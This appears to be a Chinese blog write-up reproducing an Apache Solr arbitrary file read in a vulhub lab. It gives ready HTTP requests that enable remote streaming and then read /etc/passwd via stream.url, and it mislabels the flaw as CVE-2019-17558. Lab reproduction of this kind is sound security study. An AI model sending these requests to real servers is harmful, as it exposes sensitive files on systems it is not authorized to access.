Apache Solr <= 8.8.1任意文件读取漏洞复现CVE-2019-17558

一、环境准备

搭建环境vulhub,需要提前安装docker环境

docker安装:docker--安装docker-ce-CSDN博客

vulhub地址:https://github.com/vulhub/vulhub

复制代码
#创建靶场环境
mkdir /opt/vulhub
cd /opt/vulhub
git https://github.com/vulhub/vulhub.git #git拉取失败请用主机下砸zip上传虚拟机或云服务器
cd /opt/vulhub/vulhub-master/solr/CVE-2019-17558
docker-compose up -d

windows安装jdk环境

下载bp抓包工具

二、抓包测试

获取name信息,如果使用的是

复制代码
http://*.*.*.*:8983/solr/admin/cores?indexInfo=false&wt=json

name属性为demo

复制代码
{
  "responseHeader":{
    "status":0,
    "QTime":0},
  "initFailures":{},
  "status":{
    "demo":{
      "name":"demo",
      "instanceDir":"/var/solr/data/demo",
      "dataDir":"/var/solr/data/demo/data/",
      "config":"solrconfig.xml",
      "schema":"managed-schema",
      "startTime":"2024-01-16T07:46:24.405Z",
      "uptime":165859}}}

打开bp,设置代理,浏览器也要设置,虚拟机设置127.0.0.1,云服务器设置公网IP,端口自定义(默认是8080),bp与浏览器一致即可,另外与本机服务不冲突

判断漏洞是否存在,返回正确说明存在

复制代码
POST /solr/demo/config HTTP/1.1
Host: *.*.*.*:8983
Content-Length: 92
Connection: close

{
	"set-property":{
		"requestDispatcher.requestParsers.enableRemoteStreaming":true
	}
}

三、构造特殊请求包获取敏感数据

构造读取/etc/passwd

复制代码
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1
Host: *.*.*.*:8983
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Connection: close

stream.url=file:///etc/passwd

获取成功

相关推荐
沐风清扬18 天前
Solr-搜索引擎-入门到精通
后端·搜索引擎·php·solr
江沉晚呤时22 天前
深入了解 C# 中的 LINQ:功能、语法与应用解析
c#·solr·.netcore·lucene
可观测性用观测云1 个月前
Solr 可观测性最佳实践
solr
步、步、为营2 个月前
解锁C#编程新姿势:Lambda与LINQ深度探秘
c#·solr·linq
字节全栈_vBr2 个月前
面试之Solr&Elasticsearch
elasticsearch·面试·solr
幽兰的天空3 个月前
推荐一些关于C#中LINQ的学习资料
c#·solr·linq
cdg==吃蛋糕3 个月前
solr8加鉴权
chrome·json·solr
ccc_9wy4 个月前
Apache Solr XXE(CVE-2017-12629)--vulhub
apache·solr·lucene·xxe·ssrf·vulhub·cve-2017-12629
ccc_9wy4 个月前
Apache Solr RCE(CVE-2017-12629)--vulhub
apache·solr·lucene·burp suite·vulhub·远程命令执行漏洞rce·cve-2017-12629
ccc_9wy4 个月前
Apache Solr RCE(CVE-2019-0193)--vulhub
网络安全·apache·solr·lucene·vulhub·cve-2019-0193·远程命令执行漏洞rce